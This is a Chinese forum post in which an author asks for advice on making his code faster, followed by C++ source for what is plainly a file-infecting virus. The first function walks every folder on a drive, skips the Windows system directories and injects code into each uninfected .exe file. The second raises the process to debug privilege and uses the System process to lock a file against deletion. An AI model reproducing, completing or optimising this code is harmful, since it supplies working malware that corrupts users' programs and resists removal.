自己在测试过程中,感觉效率不是很好,所以希望哪位大佬能提出宝贵的意见,在此深表感谢!

 

1、遍历磁盘中PE文件

/************************************************************************/ /* 函数说明:遍历感染指定驱动器中所有exe文件 /* 参 数:驱动器名称,如C: /* 返 回 值:遍历的数目 /* By:Koma 2009.12.18 23:55 /************************************************************************/ int EmuDiskFiles(LPCTSTR lpStr) { CFileFind fd; CString strWild(lpStr); CString str = fd.GetFilePath(); // 获取每个文件的绝对路径 int nTemp = 0; // 最大启动5个线程同时感染 BOOL bRet; HANDLE hThread; DWORD dwTid; strWild += _T("//*.*"); // 查找类型 bRet = fd.FindFile(strWild); // 开始查找 while (bRet){ // 如果不为空,继续遍历 ReEmu: bRet = fd.FindNextFile(); // 查找下一个文件 if(fd.IsDots()) // 过滤目录自身与上层目录 continue; else if(fd.IsDirectory()){ // 判断是否为文件夹 CString str = fd.GetFilePath(); // 获取文件夹路径 EmuDiskFiles(str); // 继续遍历子目录 } else { int nTemp1 = str.Find("WINDOWS"); // 如果是XP系统目录则跳过 int nTemp2 = str.Find("WINNT"); // 如果是WIN2000系统目录也跳过 if(nTemp1>0 || nTemp2>0) goto ReEmu; if(str.Find(".exe")>0){ // 判断是否为exe扩展名 if(!IsInfect(str)) // 判断是否感染过 { di.m_strFilePath = str; // 设置感染文件的绝对路径 hThread = CreateThread (NULL, 0, (unsigned long (__stdcall *)(void *))ThreadInject,(LPVOID)(&diInject),NULL,&dwTid); WaitForSingleObject(hThread,INFINITE); //InfectPE(str); } continue; } } Sleep(10000); // 10秒种遍历一个文件 } return 0; }

 

2、进程提权、保护文件

/************************************************************************/ /* 函数说明:提升进程权限到debug权限 /* 参 数:无 /* 返 回 值:无 /* By:Koma 2009.12.17 21:20 /************************************************************************/ void RaiseToDebug() { HANDLE hToken; HANDLE hProcess = GetCurrentProcess(); // 获取当前进程句柄 // 打开当前进程的Token,就是一个权限令牌,第二个参数可以用TOKEN_ALL_ACCESS if (OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { TOKEN_PRIVILEGES tkp; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid)) { tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //通知系统修改进程权限 BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0); } CloseHandle(hToken); } } /************************************************************************/ /* 函数说明:保护文件防止被轻易删除 /* 参 数:无 /* 返 回 值:无 /* By:Koma 2009.12.17 21:42 /************************************************************************/ BOOL OccupyFile(LPCTSTR lpFileName) { RaiseToDebug(); // 提升权限 // 打开syetem进程,打开前必须赋予PROCESS_DUP_HANDLE权限 HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 4); if (hProcess == NULL) { hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 8); if (hProcess == NULL) return FALSE; } HANDLE hFile = NULL; HANDLE hTargetHandle = NULL; // 创建一个文件,当然这个文件可以是本来就存在的 hFile = CreateFile(lpFileName, GENERIC_READ | GENERIC_EXECUTE | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { // 文件创建或打开失败 CloseHandle( hProcess ); return FALSE; } return TRUE; }